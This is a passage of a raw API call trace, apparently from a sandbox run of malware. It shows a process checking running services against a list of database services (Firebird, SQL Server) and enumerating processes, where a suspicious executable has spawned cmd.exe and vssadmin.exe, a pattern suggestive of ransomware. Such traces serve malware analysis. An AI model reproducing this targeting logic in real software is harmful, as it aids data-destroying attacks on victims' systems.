(lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0249.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0249.357] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0249.357] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0249.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0249.357] lstrlenW (lpString="SysMain") returned 7 [0249.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0249.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0249.357] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0249.357] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0249.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0249.357] lstrlenW (lpString="SystemEventsBroker") returned 18 [0249.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0249.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0249.357] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0249.357] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0249.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0249.357] lstrlenW (lpString="Themes") returned 6 [0249.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0249.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0249.357] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0249.357] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0249.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0249.357] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0249.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0249.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0249.358] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0249.358] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0249.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205e48 | out: hHeap=0x670000) returned 1 [0249.358] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x488 [0249.362] Process32FirstW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.363] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.363] lstrlenW (lpString="System") returned 6 [0249.363] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.364] lstrlenW (lpString="smss.exe") returned 8 [0249.364] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.364] lstrlenW (lpString="csrss.exe") returned 9 [0249.364] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.365] lstrlenW (lpString="wininit.exe") returned 11 [0249.365] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.365] lstrlenW (lpString="csrss.exe") returned 9 [0249.365] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.366] lstrlenW (lpString="winlogon.exe") returned 12 [0249.366] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.366] lstrlenW (lpString="services.exe") returned 12 [0249.366] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.367] lstrlenW (lpString="lsass.exe") returned 9 [0249.367] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.367] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0249.367] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.367] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0249.368] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.368] lstrlenW (lpString="svchost.exe") returned 11 [0249.368] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.368] lstrlenW (lpString="svchost.exe") returned 11 [0249.368] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.369] lstrlenW (lpString="dwm.exe") returned 7 [0249.369] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.369] lstrlenW (lpString="svchost.exe") returned 11 [0249.369] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.370] lstrlenW (lpString="svchost.exe") returned 11 [0249.370] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.370] lstrlenW (lpString="svchost.exe") returned 11 [0249.371] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.371] lstrlenW (lpString="svchost.exe") returned 11 [0249.371] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.371] lstrlenW (lpString="svchost.exe") returned 11 [0249.371] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.372] lstrlenW (lpString="svchost.exe") returned 11 [0249.372] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.372] lstrlenW (lpString="svchost.exe") returned 11 [0249.372] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.373] lstrlenW (lpString="svchost.exe") returned 11 [0249.373] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.373] lstrlenW (lpString="svchost.exe") returned 11 [0249.373] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.374] lstrlenW (lpString="svchost.exe") returned 11 [0249.374] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.374] lstrlenW (lpString="spoolsv.exe") returned 11 [0249.374] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.375] lstrlenW (lpString="svchost.exe") returned 11 [0249.375] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.375] lstrlenW (lpString="audiodg.exe") returned 11 [0249.375] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.375] lstrlenW (lpString="sihost.exe") returned 10 [0249.376] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.376] lstrlenW (lpString="svchost.exe") returned 11 [0249.376] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.376] lstrlenW (lpString="taskhostw.exe") returned 13 [0249.376] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0249.377] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0249.377] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0249.377] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0249.377] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0249.378] lstrlenW (lpString="Memory Compression") returned 18 [0249.378] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.378] lstrlenW (lpString="explorer.exe") returned 12 [0249.378] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0249.379] lstrlenW (lpString="SearchUI.exe") returned 12 [0249.379] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0249.379] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0249.379] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0249.380] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0249.380] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.380] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0249.380] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0249.381] lstrlenW (lpString="finbbp.exe") returned 10 [0249.381] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0249.381] lstrlenW (lpString="cmd.exe") returned 7 [0249.381] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0249.382] lstrlenW (lpString="conhost.exe") returned 11 [0249.382] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0249.382] lstrlenW (lpString="vssadmin.exe") returned 12 [0249.382] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0249.383] lstrlenW (lpString="consent.exe") returned 11 [0249.383] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0249.383] CloseHandle (hObject=0x488) returned 1 [0249.383] Sleep (dwMilliseconds=0x1f4) [0250.388] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa7b8 [0250.388] EnumServicesStatusExW (in: hSCManager=0x41aa7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0250.389] GetLastError () returned 0xea [0250.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1bc4) returned 0x4205e48 [0250.390] EnumServicesStatusExW (in: hSCManager=0x41aa7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205e48, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205e48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0250.391] CloseServiceHandle (hSCObject=0x41aa7b8) returned 1 [0250.392] lstrlenW (lpString="Appinfo") returned 7 [0250.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0250.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0250.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0250.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0250.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0250.392] lstrlenW (lpString="AppXSvc") returned 7 [0250.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0250.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0250.392] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0250.392] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0250.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0250.392] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0250.393] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0250.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0250.393] lstrlenW (lpString="Audiosrv") returned 8 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0250.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0250.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0250.393] lstrlenW (lpString="BFE") returned 3 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0250.393] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0250.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0250.393] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0250.393] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0250.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0250.393] lstrlenW (lpString="CDPSvc") returned 6 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0250.394] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0250.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0250.394] lstrlenW (lpString="ClickToRunSvc") returned 13 [0250.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0250.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0250.394] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0250.394] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0250.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0250.395] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0250.395] lstrlenW (lpString="CryptSvc") returned 8 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0250.395] lstrlenW (lpString="DcomLaunch") returned 10 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0250.395] lstrlenW (lpString="DeviceAssociationService") returned 24 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0250.396] lstrlenW (lpString="Dhcp") returned 4 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0250.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0250.396] lstrlenW (lpString="Dnscache") returned 8 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0250.396] 